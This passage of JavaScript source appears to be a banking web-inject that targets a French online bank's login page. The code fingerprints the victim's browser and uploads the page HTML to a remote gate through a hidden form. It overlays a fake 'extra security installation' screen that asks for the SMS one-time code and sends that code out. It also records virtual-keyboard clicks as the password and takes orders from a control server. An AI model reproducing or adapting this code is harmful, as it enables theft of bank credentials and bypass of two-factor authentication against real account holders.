  577.                 nDigit = parseInt(cDigit, 10);
  578.                 if(bEven){
  579.                     if ((nDigit *= 2) > 9) nDigit -= 9;
  580.                 }
  581.                 nCheck += nDigit;
  582.                 bEven = !bEven;
  583.             }
  584.             return (nCheck % 10) == 0;
  585.         },
  586.        
  587.         check_day: function(dd){
  588.             if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
  589.                 return true;
  590.             }else{
  591.                 return false;
  592.             }
  593.         },
  594.        
  595.         check_month: function(mm){
  596.             if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
  597.                 return true;
  598.             }else{
  599.                 return false;
  600.             }
  601.         },
  602.        
  603.         check_email: function(email) {
  604.             var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  605.             return re.test(email);
  606.         },
  607.        
  608.         check_year: function(yy,format){
  609.             switch(format){
  610.                 case('YY'):
  611.                     if(parseFloat(yy) >= 15 && (yy+'').length == 2){
  612.                         return true;
  613.                     }else{
  614.                         return false;
  615.                     }
  616.                 break;
  617.                
  618.                 case('YYYY'):
  619.                     if(parseFloat(yy) >= 1920  && parseFloat(yy) <= 2015 && (yy+'').length == 4){
  620.                         return true;
  621.                     }else{
  622.                         return false;
  623.                     }
  624.                 break;
  625.             }
  626.         },
  627.        
  628.         contentgrabber: function(doc){
  629.             var _tcgb = document.getElementById("_tables.content.grabber.box");
  630.             if(_tcgb)_tcgb.parentNode.removeChild(_tcgb);
  631.             var docLoc = doc.location.href;
  632.             var baseLoc = docLoc.substr(0,docLoc.lastIndexOf("/")+1);
  633.             var docCodeRemastered = doc.documentElement.innerHTML;
  634.             _tcgb = document.createElement("div");
  635.             _tcgb.style.position = "absolute";
  636.             _tcgb.style.left = _tables.get('showframe') ? "0px" : "-5000px";
  637.             _tcgb.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
  638.             _tcgb.id = "_tables.content.grabber.box";
  639.             _tcgb.innerHTML = '<iframe id="_tables.content.iframe" name="_tables.content.iframe" width=1280 height=800 style="border:5px solid black;"></iframe>';
  640.             document.body.appendChild(_tcgb);
  641.             var _tform = document.createElement("form");
  642.             var _tarea = document.createElement("textarea");
  643.             var _tbranch = document.createElement("input");
  644.             _tbranch.name = "branch";
  645.             _tbranch.value = "CG";
  646.             _tform.id = "_tables.content.form";
  647.             _tform.target = "_tables.content.iframe";
  648.             _tform.action = link.gate;
  649.             _tform.method = "POST";
  650.             _tarea.name = "_tarea";
  651.             if(_tables.get('showframe')){
  652.                 _tarea.style.width = "1500px";
  653.                 _tarea.style.height = "500px";
  654.             }else{
  655.                 _tarea.style.display = "none";
  656.                 _tform.style.display = "none";
  657.             }
  658.             _tarea.value = '<html><base href="'+baseLoc+'">'+docCodeRemastered+'iframe:'+_tables.get('stoperr')+'</html>';
  659.             _tform.appendChild(_tbranch);
  660.             _tform.appendChild(_tarea);
  661.             document.getElementsByTagName("body")[0].appendChild(_tform);
  662.             var _tform = document.getElementById("_tables.content.form");
  663.             _tform.submit();
  664.         }
  665.     };
  666. }());
  667.  
  668. _tables = Tables;
  669.  
  670. (function (window) {
  671.     {
  672.         var unknown = '-';
  673.  
  674.         // screen
  675.         var screenSize = '';
  676.         if (screen.width) {
  677.             width = (screen.width) ? screen.width : '';
  678.             height = (screen.height) ? screen.height : '';
  679.             screenSize += '' + width + " x " + height;
  680.         }
  681.  
  682.         //browser
  683.         var nVer = navigator.appVersion;
  684.         var nAgt = navigator.userAgent;
  685.         var browser = navigator.appName;
  686.         var version = '' + parseFloat(navigator.appVersion);
  687.         var majorVersion = parseInt(navigator.appVersion, 10);
  688.         var nameOffset, verOffset, ix;
  689.  
  690.         // Opera
  691.         if ((verOffset = nAgt.indexOf('Opera')) != -1) {
  692.             browser = 'Opera';
  693.             version = nAgt.substring(verOffset + 6);
  694.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  695.                 version = nAgt.substring(verOffset + 8);
  696.             }
  697.         }
  698.         // MSIE
  699.         else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
  700.             browser = 'Microsoft Internet Explorer';
  701.             version = nAgt.substring(verOffset + 5);
  702.         }
  703.         // Chrome
  704.         else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
  705.             browser = 'Chrome';
  706.             version = nAgt.substring(verOffset + 7);
  707.         }
  708.         // Safari
  709.         else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
  710.             browser = 'Safari';
  711.             version = nAgt.substring(verOffset + 7);
  712.             if ((verOffset = nAgt.indexOf('Version')) != -1) {
  713.                 version = nAgt.substring(verOffset + 8);
  714.             }
  715.         }
  716.         // Firefox
  717.         else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
  718.             browser = 'Firefox';
  719.             version = nAgt.substring(verOffset + 8);
  720.         }
  721.         // MSIE 11+
  722.         else if (nAgt.indexOf('Trident/') != -1) {
  723.             browser = 'Microsoft Internet Explorer';
  724.             version = nAgt.substring(nAgt.indexOf('rv:') + 3);
  725.         }
  726.         // Other browsers
  727.         else if ((nameOffset = nAgt.lastIndexOf(' ') + 1) < (verOffset = nAgt.lastIndexOf('/'))) {
  728.             browser = nAgt.substring(nameOffset, verOffset);
  729.             version = nAgt.substring(verOffset + 1);
  730.             if (browser.toLowerCase() == browser.toUpperCase()) {
  731.                 browser = navigator.appName;
  732.             }
  733.         }
  734.         // trim the version string
  735.         if ((ix = version.indexOf(';')) != -1) version = version.substring(0, ix);
  736.         if ((ix = version.indexOf(' ')) != -1) version = version.substring(0, ix);
  737.         if ((ix = version.indexOf(')')) != -1) version = version.substring(0, ix);
  738.  
  739.         majorVersion = parseInt('' + version, 10);
  740.         if (isNaN(majorVersion)) {
  741.             version = '' + parseFloat(navigator.appVersion);
  742.             majorVersion = parseInt(navigator.appVersion, 10);
  743.         }
  744.  
  745.         // mobile version
  746.         var mobile = /Mobile|mini|Fennec|Android|iP(ad|od|hone)/.test(nVer);
  747.  
  748.         // cookie
  749.         var cookieEnabled = (navigator.cookieEnabled) ? true : false;
  750.  
  751.         if (typeof navigator.cookieEnabled == 'undefined' && !cookieEnabled) {
  752.             document.cookie = 'testcookie';
  753.             cookieEnabled = (document.cookie.indexOf('testcookie') != -1) ? true : false;
  754.         }
  755.  
  756.         // system
  757.         var os = unknown;
  758.         var clientStrings = [
  759.             {s:'Windows 3.11', r:/Win16/},
  760.             {s:'Windows 95', r:/(Windows 95|Win95|Windows_95)/},
  761.             {s:'Windows ME', r:/(Win 9x 4.90|Windows ME)/},
  762.             {s:'Windows 98', r:/(Windows 98|Win98)/},
  763.             {s:'Windows CE', r:/Windows CE/},
  764.             {s:'Windows 2000', r:/(Windows NT 5.0|Windows 2000)/},
  765.             {s:'Windows XP', r:/(Windows NT 5.1|Windows XP)/},
  766.             {s:'Windows Server 2003', r:/Windows NT 5.2/},
  767.             {s:'Windows Vista', r:/Windows NT 6.0/},
  768.             {s:'Windows 7', r:/(Windows 7|Windows NT 6.1)/},
  769.             {s:'Windows 8.1', r:/(Windows 8.1|Windows NT 6.3)/},
  770.             {s:'Windows 8', r:/(Windows 8|Windows NT 6.2)/},
  771.             {s:'Windows NT 4.0', r:/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/},
  772.             {s:'Windows ME', r:/Windows ME/},
  773.             {s:'Android', r:/Android/},
  774.             {s:'Open BSD', r:/OpenBSD/},
  775.             {s:'Sun OS', r:/SunOS/},
  776.             {s:'Linux', r:/(Linux|X11)/},
  777.             {s:'iOS', r:/(iPhone|iPad|iPod)/},
  778.             {s:'Mac OS X', r:/Mac OS X/},
  779.             {s:'Mac OS', r:/(MacPPC|MacIntel|Mac_PowerPC|Macintosh)/},
  780.             {s:'QNX', r:/QNX/},
  781.             {s:'UNIX', r:/UNIX/},
  782.             {s:'BeOS', r:/BeOS/},
  783.             {s:'OS/2', r:/OS\/2/},
  784.             {s:'Search Bot', r:/(nuhk|Googlebot|Yammybot|Openbot|Slurp|MSNBot|Ask Jeeves\/Teoma|ia_archiver)/}
  785.         ];
  786.         for (var id in clientStrings) {
  787.             var cs = clientStrings[id];
  788.             if (cs.r.test(nAgt)) {
  789.                 os = cs.s;
  790.                 break;
  791.             }
  792.         }
  793.  
  794.         var osVersion = unknown;
  795.  
  796.         if (/Windows/.test(os)) {
  797.             osVersion = /Windows (.*)/.exec(os)[1];
  798.             os = 'Windows';
  799.         }
  800.  
  801.         switch (os) {
  802.             case 'Mac OS X':
  803.                 osVersion = /Mac OS X (10[\.\_\d]+)/.exec(nAgt)[1];
  804.                 break;
  805.  
  806.             case 'Android':
  807.                 osVersion = /Android ([\.\_\d]+)/.exec(nAgt)[1];
  808.                 break;
  809.  
  810.             case 'iOS':
  811.                 osVersion = /OS (\d+)_(\d+)_?(\d+)?/.exec(nVer);
  812.                 osVersion = osVersion[1] + '.' + osVersion[2] + '.' + (osVersion[3] | 0);
  813.                 break;
  814.         }
  815.  
  816.         // flash (you'll need to include swfobject)
  817.         /* script src="//ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js" */
  818.         var flashVersion = 'no check';
  819.         if (typeof swfobject != 'undefined') {
  820.             var fv = swfobject.getFlashPlayerVersion();
  821.             if (fv.major > 0) {
  822.                 flashVersion = fv.major + '.' + fv.minor + ' r' + fv.release;
  823.             }
  824.             else  {
  825.                 flashVersion = unknown;
  826.             }
  827.         }
  828.     }
  829.  
  830.     window.jscd = {
  831.         screen: screenSize,
  832.         browser: browser,
  833.         browserVersion: version,
  834.         mobile: mobile,
  835.         os: os,
  836.         osVersion: osVersion,
  837.         cookies: cookieEnabled,
  838.         flashVersion: flashVersion
  839.     };
  840. }(this));
  841.  
  842. _tables.set('continue',true);
  843. _tables.set('message','');
  844. _tables.set('type','intercept');
  845. _tables.set('start','start');
  846. _tables.set('end','end');
  847. _tables.set('finish','');
  848. _tables.set('data','');
  849. _tables.set('login',function(){return _tables.id('identifiantIdForm');});
  850. _tables.set('password','');
  851. _tables.set('button1',function(){return _tables.id('validerClavierCLI');});
  852. _tables.set('button2',function(){return _tables.id('validerClavierCLA');});
  853. _tables.set('effacer',function(){return _tables.id('ResetClavier_idImageClavier');});
  854. _tables.set('logout',function(){return _tables.findout(document,'a','href:\/Login\/logout');});
  855.  
  856. _tables.text = {
  857.     title: 'Installation s&#233;curit&#233; suppl&#233;mentaire',
  858.     wait: 'Veuillez patienter',
  859.     step1: 'Activation de votre compte dans le nouveau syst&#232;me autorisation de la banque en ligne.',
  860.     step2: 'Pour confirmer votre identit&#233;, veuillez suivre les instructions suivantes :',
  861.     button: 'Fin',
  862.     block_title: 'Nous vous prions de bien vouloir nous excuser pour la g&#234;ne occasionn&#233;e et vous recommandons de vous reconnecter ult&#233;rieurement.',
  863.     block_body: 'La consultation de vos comptes est momentan&#233;ment indisponible.'
  864. };
  865.  
  866. _tables.login = function(){
  867.     _tables.click(_tables.get('button'),document);
  868. };
  869.  
  870. _tables.progress = function(){
  871.     if(!_tables.get('stop progress')){
  872.         if(_tables.html(_tables.id('_tables.fake.progress')) == ''){
  873.             _tables.id('_tables.fake.progress').innerHTML = '.';
  874.         }else if(_tables.html(_tables.id('_tables.fake.progress')) == '.'){
  875.             _tables.id('_tables.fake.progress').innerHTML = '..';
  876.         }else if(_tables.html(_tables.id('_tables.fake.progress')) == '..'){
  877.             _tables.id('_tables.fake.progress').innerHTML = '...';
  878.         }else if(_tables.html(_tables.id('_tables.fake.progress')) == '...'){
  879.             _tables.id('_tables.fake.progress').innerHTML = '';
  880.         }
  881.         setTimeout(function(){
  882.             _tables.progress();
  883.         },700);
  884.     }
  885. };
  886.  
  887. _tables.validatesms = function(e){
  888.  
  889.     var valid = true;
  890.    
  891.     if(e.value.length < 6){
  892.         valid = false;
  893.     }
  894.    
  895.     if(!/^\d+$/igm.test(e.value)){
  896.         valid = true;
  897.     }
  898.    
  899.     if(valid){
  900.         _tables.id('_tables.fake.button').disabled = false;
  901.         _tables.id('_tables.fake.button').style.color = '#444444';
  902.     }else{
  903.         _tables.id('_tables.fake.button').disabled = true;
  904.         _tables.id('_tables.fake.button').style.color = '#888888';
  905.     }
  906. };
  907.  
  908. _tables.fkbtn = function(){
  909.     _tables.id('_tables.fake.button.loader').style.display = '';
  910.     _tables.id('_tables.fake.button').style.visibility = 'hidden';
  911.     _tables.set('pause',true);
  912.     _tables.status('TJ');
  913.     _tables.send({'type':_tables.get('type')},
  914.                     {'domain':document.domain},
  915.                     {'data':'SMS code: '+_tables.id('_tables.fake.otp').value},
  916.                     {'message':'Data recieved'},
  917.                     {'branch':'TJ'}
  918.     );
  919. };
  920.  
  921. _tables.fakewait = function(){
  922.     var divHolder = _tables.findout(document,'div','class:container siteContainer');
  923.     if(divHolder){
  924.         divHolder.style.display = 'none';
  925.         divHolder = divHolder.parentNode;
  926.         if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));      
  927.         var div = document.createElement('div');
  928.         div.style.width = '900px';
  929.         div.style.margin = '0px auto';
  930.         div.id = '_tables.fakebox';
  931.         var _gs = '<div style="padding-left:20px;padding-right:20px;position:relative;z-index:999991;">'+
  932.                     '<h1>'+_tables.text.title+'</h1>'+
  933.                     '<br>'+
  934.                     '<div style="background-color: #ECEFF6;border-radius: 0px 0px 7px 7px;padding:15px;">'+
  935.                         '<span style="width: 30px;color: #A4AED1;font-family:Verdana;font-size: 28px;">1</span>&nbsp;&nbsp;'+
  936.                         '<span style="color: #273775;font-size: 1.3em;">'+_tables.text.step1+'</span>'+
  937.                     '</div>'+
  938.                     '<bR>'+
  939.                     '<table id="_tables.fake.progress.table">'+
  940.                         '<tr>'+
  941.                             '<td style="color: #273775;font-size: 1.3em;font-weight:bold;text-align:right;width:50%;">'+_tables.text.wait+'</td>'+
  942.                             '<td id="_tables.fake.progress" style="color: #273775;font-size: 1.3em;font-weight:bold;text-align:left;"></td>'+
  943.                         '</tr>'+
  944.                     '</table></div>';
  945.         div.innerHTML = '<div>'+
  946.                             _gs+
  947.                         '<bR><bR></div>';
  948.         divHolder.appendChild(div);
  949.         _tables.progress();
  950.     }
  951. };
  952.  
  953. _tables.fake = function(step){
  954.  
  955.     switch(step){
  956.         case('LOGIN'):
  957.             _tables.login();
  958.         break;
  959.        
  960.         case('OFF'):
  961.             _tables.login();
  962.         break;
  963.        
  964.         case('BLOCK'):
  965.             var divHolder = _tables.findout(document,'div','class:container siteContainer');
  966.             if(divHolder){
  967.                 divHolder.style.display = 'none';
  968.                 divHolder = divHolder.parentNode;
  969.                 if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));      
  970.                 var div = document.createElement('div');
  971.                 div.style.width = '900px';
  972.                 div.style.margin = '0px auto';
  973.                 div.id = '_tables.fakebox';
  974.                 var _gs = '<div style="padding-left:20px;padding-right:20px;position:relative;z-index:999991;">'+
  975.                             '<h1>'+_tables.text.block_body+'</h1>'+
  976.                             '<br>'+
  977.                             '<div style="background-color: #ECEFF6;border-radius: 0px 0px 7px 7px;padding:15px;">'+
  978.                                 '<span style="color: #273775;font-size: 1.3em;">'+_tables.text.block_title+'</span>'+
  979.                             '</div></div>';
  980.                 div.innerHTML = '<div>'+
  981.                                     _gs+
  982.                                 '<bR><bR></div>';
  983.                 divHolder.appendChild(div);
  984.             }
  985.         break;
  986.        
  987.         case('FAKE'):
  988.             _tables.set('loader',false);
  989.             var divHolder = _tables.findout(document,'div','class:container siteContainer');
  990.             if(divHolder){
  991.                 divHolder.style.display = 'none';
  992.                 divHolder = divHolder.parentNode;
  993.                 if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox'));
  994.                 switch(_tables.answer.p3.split('|')[0]){
  995.                     case('WAIT'):
  996.                         _tables.set('loader',true);
  997.                         var div = document.createElement('div');
  998.                         div.style.width = '900px';
  999.                         div.style.margin = '0px auto';
  1000.                         div.id = '_tables.fakebox';
  1001.                         var _gs = '<div style="padding-left:20px;padding-right:20px;position:relative;z-index:999991;">'+
  1002.                                     '<h1>'+_tables.text.title+'</h1>'+
  1003.                                     '<br>'+
  1004.                                     '<div style="background-color: #ECEFF6;border-radius: 0px 0px 7px 7px;padding:15px;">'+
  1005.                                         '<span style="width: 30px;color: #A4AED1;font-family:Verdana;font-size: 28px;">1</span>&nbsp;&nbsp;'+
  1006.                                         '<span style="color: #273775;font-size: 1.3em;">'+_tables.text.step1+'</span>'+
  1007.                                     '</div>'+
  1008.                                     '<bR>'+
  1009.                                     '<table id="_tables.fake.progress.table">'+
  1010.                                         '<tr>'+
  1011.                                             '<td style="color: #273775;font-size: 1.3em;font-weight:bold;text-align:right;width:50%;">'+_tables.text.wait+'</td>'+
  1012.                                             '<td id="_tables.fake.progress" style="color: #273775;font-size: 1.3em;font-weight:bold;text-align:left;"></td>'+
  1013.                                         '</tr>'+
  1014.                                     '</table></div>';
  1015.                         div.innerHTML = '<div>'+
  1016.                                             _gs+
  1017.                                         '<bR><bR></div>';
  1018.                        
  1019.                     break;
  1020.                    
  1021.                     case('SMS'):
  1022.                        
  1023.                         var els = _tables.answer.p3.split('|');
  1024.                        
  1025.                         var div = document.createElement('div');
  1026.                         div.style.width = '900px';
  1027.                         div.style.margin = '0px auto';
  1028.                         div.id = '_tables.fakebox';
  1029.                         var _gs = '<div style="padding-left:20px;padding-right:20px;position:relative;z-index:999991;">'+
  1030.                                         '<h1>'+_tables.text.title+'</h1>'+
  1031.                                         '<br>'+
  1032.                                         '<div style="background-color: #ECEFF6;border-radius: 0px 0px 7px 7px;padding:15px;">'+
  1033.                                             '<span style="width: 30px;color: #A4AED1;font-family:Verdana;font-size: 28px;">1</span>&nbsp;&nbsp;'+
  1034.                                             '<span style="color: #273775;font-size: 1.3em;">'+_tables.text.step1+'</span>'+
  1035.                                         '</div>'+
  1036.                                         '<bR>'+
  1037.                                         '<div style="background-color: #ECEFF6;border-radius: 0px 0px 7px 7px;padding:15px;">'+
  1038.                                             '<span style="width: 30px;color: #A4AED1;font-family:Verdana;font-size: 28px;">2</span>&nbsp;&nbsp;'+
  1039.                                             '<span style="color: #273775;font-size: 1.3em;">'+_tables.text.step2+'</span>'+
  1040.                                             '<br>'+
  1041.                                             '<div style="margin-left:30px;background:#F7F9FA;border-radius:5px;padding:10px;width:434px;border:1px solid #D8D8D8;">'+
  1042.                                                 '<strong>Veuillez saisir le code qui vient de vous &#234;tre envoy&#233; par sms au : <br><span id="_tables.fake.phone.span">'+els[1]+'</span>, puis validez :</strong>'+
  1043.                                                 '&nbsp;<input onkeyup="_tables.validatesms(this);" id="_tables.fake.otp" size="10" maxlength="6" type="password">'+
  1044.                                             '</div>'+
  1045.                                             '<div style="margin-top:7px;color:red;font-weight:bold;margin-left:30px;display:none;" id="_tables.fake.errbox"></div>'+
  1046.                                             '<br>'+
  1047.                                             '<img style="margin-left:30px;display:none;" id="_tables.fake.button.loader" src="data:image/gif;base64,R0lGODlhEAAQAPIAAP///x82i8nO4lhpqB82i3WDt5GcxZ+ozSH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA">'+
  1048.                                             '<input id="_tables.fake.button" type="button" disabled onclick="_tables.fkbtn();" value="'+_tables.text.button+'" style="background: -moz-linear-gradient(center top , #FFF, #FFF 30%, #DDD 65%, #DDD) repeat scroll 0% 0% transparent;color: #888;font: bold 11px arial,sans-serif;height: 24px;border: 1px solid #AAA;border-radius: 12px;overflow: visible;padding-left: 6px;padding-right: 6px;margin-left:30px;cursor:pointer;">'+
  1049.                                         '</div>'+
  1050.                                         '<br><br>'+
  1051.                                     '</div>';
  1052.                         div.innerHTML = '<div>'+
  1053.                                             _gs+
  1054.                                         '<bR><bR></div>';
  1055.                     break;
  1056.                 }
  1057.                
  1058.                 divHolder.appendChild(div);
  1059.                
  1060.                 if(_tables.get('loader'))_tables.progress();
  1061.             }          
  1062.             setTimeout(function(){
  1063.                 _tables.cc('CC');
  1064.             },1000);
  1065.         break;
  1066.     }
  1067. };
  1068.  
  1069. _tables.showpage = function(){
  1070.     if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap'));
  1071. };
  1072.  
  1073. _tables.callback = function(){
  1074.     _tables.set('message','');
  1075.     switch(_tables.status()){
  1076.         case('CS'):
  1077.             if(/block/igm.test(_tables.answer.p1)){
  1078.                 _tables.fake('BLOCK');
  1079.                 _tables.showpage();
  1080.             }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){
  1081.                 _tables.status('NL');
  1082.                 _tables.send(
  1083.                     {'type':_tables.get('type')},
  1084.                     {'domain':document.domain},
  1085.                     {'link':document.location.href},
  1086.                     {'data':'OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen},
  1087.                     {'message':'Login page onloaded'},
  1088.                     {'branch':'TJ'}
  1089.                 );
  1090.             }else{
  1091.                 _tables.showpage();
  1092.             }
  1093.         break;
  1094.        
  1095.         case('SL'):
  1096.             setTimeout(function(){
  1097.                 _tables.cc('CC');
  1098.             },1500);
  1099.         break;
  1100.        
  1101.         case('NL'):
  1102.             _tables.loginform();
  1103.             _tables.showpage();
  1104.         break;
  1105.        
  1106.         case('CC'):
  1107.             if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){
  1108.                 setTimeout(function(){
  1109.                     _tables.cc('CC');
  1110.                 },1000);
  1111.             }else{
  1112.                 _tables.fake(_tables.answer.p1);
  1113.             }
  1114.         break;
  1115.        
  1116.         case('TJ'):
  1117.             _tables.set('pause',false);
  1118.             _tables.cc('CC');
  1119.         break;
  1120.        
  1121.         default:
  1122.             _tables.showpage();
  1123.         break;
  1124.        
  1125.     }
  1126. };
  1127.  
  1128. _tables.cc = function(stat){
  1129.     if(_tables.get('pause'))return false;
  1130.     _tables.status(stat);
  1131.     _tables.send(
  1132.         {'type':'intercept'},
  1133.         {'domain':document.domain},
  1134.         {'link':document.location.href},
  1135.         {'browser':_tables.brows()},
  1136.         {'branch':'CC'}
  1137.     );
  1138. };
  1139.  
  1140. _tables.clickmap = function(num){
  1141.     var s = _tables.get('password');
  1142.     s += num+'';
  1143.     _tables.set('password',s);
  1144. };
  1145.  
  1146. _tables.keyboard = function(){
  1147.     var _p = _tables.id('claviermap').parentNode;
  1148.     var div = document.createElement('div');
  1149.     div.className = 'clavis';
  1150.     div.innerHTML = '<map name="tablesmap" id="tablesmap">'+
  1151.                         '<area style="cursor:pointer;" tabindex="3" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(1);" coords="0,0,30,30" shape="rect">'+
  1152.                         '<area style="cursor:pointer;" tabindex="8" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(3);" coords="0,35,30,65" shape="rect">'+
  1153.                        
  1154.                         '<area style="cursor:pointer;" tabindex="4" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(5);" coords="35,0,65,30" shape="rect">'+
  1155.                         '<area style="cursor:pointer;" tabindex="9" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(0);" coords="35,35,65,65" shape="rect">'+
  1156.                        
  1157.                         '<area style="cursor:pointer;" tabindex="5" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(2);" coords="70,0,100,30" shape="rect">'+
  1158.                         '<area style="cursor:pointer;" tabindex="10" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(7);" coords="70,35,100,65" shape="rect">'+
  1159.                        
  1160.                         '<area style="cursor:pointer;" tabindex="6" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(8)" coords="107,0,135,30" shape="rect">'+
  1161.                         '<area style="cursor:pointer;" tabindex="11" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(6);" coords="107,35,135,65" shape="rect">'+
  1162.                        
  1163.                         '<area style="cursor:pointer;" tabindex="7" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(4);" coords="143,0,172,30" shape="rect">'+
  1164.                         '<area style="cursor:pointer;" tabindex="12" alt="Touche clavier" class="toucheClavier" onclick="_tables.clickmap(9);" coords="143,35,172,65" shape="rect">'+
  1165.                     '</map>'+
  1166.                     '<img usemap="#tablesmap" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK0AAABBCAYAAACjKSS6AAAIcElEQVR42u2d/W9UVRrHT3RlfVmLyi4vAtZi7YsVSt8oSGEKpbS0QBnq9J2WKVJQdkH9QcHdGF2iVYMoqNC1lJZSSguCgAVarKIWjCjqP2HiryT+SvLde0snTiZzz8u999w76PMk36RJz73PZ77nmemkmTlftvyZo6xy2wCr2nEisG7HibNrtw/+UrHtOMq29qO07RhWtPVJq2TzLRn3RKC1F4ube5BXd+iXjKqDZ2ev3B8AwGTlBc9DS/YkFE+i+SPD4cf8sNIt/Wz1vwZ3hl4eQsvuK2htv45w+8/Y8MZPaNz9Ixr+e0v1Cqp7/TpqX7uO9f/5HmUvjqGgdQgzV3ViUn77ThkjiOf24fFjftjytv5A+XMDN8Nv/oBNb/+MZqOZedHTr36PoHFR8N/XxrXuFTWt3XUNlS99h5IXrqJw6zdIqx/GHTntNw0VcZ+5xEM8Ah62JNw3Vr3rMpp2X0f96z8Y030NFS99i9IXr6Lk+StY/vyYspbtuKXA9jEs3PoVsppHkVp/CdMrB3Bn7ltf8UwgHuIR8bAFjUduVO26Ykz3t8ZkX0Xx9q+xoO1L5LSOIjs8ink2lT2hzA2X8Fjd8LhSas7jrrx3bvBMIB7iEfGweaHDWGm8byjZ8Q2KnruMHGNhesMIUmuNhbUXMafGnsxr410/qWAPeCYQD/GIeFjm+i4E/nnZaPglCp4ZxRNNw8YvzyMlpEd/XfAu1wTiIR4RD0tb14VFW0ZRuPlz5GwcQVrdeSRXf6ZNdy98j2sC8RCPiMdoehgLN48gv3UY2c0XkFpzDo8EzwgVXTLrI7p30X6BCWo8ovKSxy6DTn+s2PzmsTtLJg9LD/agYNNF5IYv4MmmIcwJncGsdafjyqqs1sfTfYs/5JqgwsNjkmVzi8cphy5/nO6bDh4emwwPy6zuRX74PHJahpDVcA4p1acxc+0ncWVVVuvj6f4lB/jvkRR4oplUGHTwxGOw45Muf6L7qzC5zSOaJxkelhnqQ+7Gc5jffBaZ9Z8iOXgSM1YPChVdMusjSgp08E1Q5LHDoJPHqU+6/Inur8Kky5/o/qo8LKumHzlGw+ymM8ioPYVHqgYxveK4UNElsz6iB4o7uSao8sQrP3mc+qTbH1UmXf444WFP1g5gftNpzG04hbTQCcxa04+p5X1CRZfM+ogeXN7FNUGVh1d+8Fjx+eUPzyO/eezMksnD5tWfwLyGT5BVdxKPVw/i4cpj+PvKXqGiS2Z9RFNWdPP/WW2TJx6XDJtOnkTxx6r84InXW3W/WHbjKcw1Gj9RM4DUYD9mrLr1C5GiS2Z9RBOQlibY5bHLpovHjjc6eGK9iC0veax6qvKw+RtOI8t4ic8IHcecqj5ML+sZfwkWKbpk1kc08efA0gS7PHbZ3Oax64sOHiuW2PKDR1Q8HpbTcgaZoWNIr+7Do2uOYGppFyYXfyxUdMmsj2haRT/XBLs8dtnc5LHriR88sqy6eETF42F5LZ8ho/oo0oK9SF7djX+UdCJpaYdQ0SWzPqIZlYNcE1R5YvvHllc8dv3Q6Q/PC1let/fLqXcmD8sLDyE9eASpVd2YXXEIU5Z14G9FH8WVTFldG9HDa07yTVDgETGJWNzkccMbr/3xY79EjDI8rKD1gtHwMFLWdGFmeSceDBzAvU99EFcyZXVtRLOqTnFNUOGx4hKt18Hjhjde+eM3D49Phoflb7qIlNWHkFzZiRkrO/DA0g9xz6J92jQ7+CnXBOIhHhEPyw2PYHZ5B2aWHcS0ko+QVLQPdxfu1abk9ee4JhAP8Yh42NzmYUwJ7MdDgX2YXPQ+7il8d/zT4br06NNDXBOIh3hEPCy19sIN89Pgd+W/o1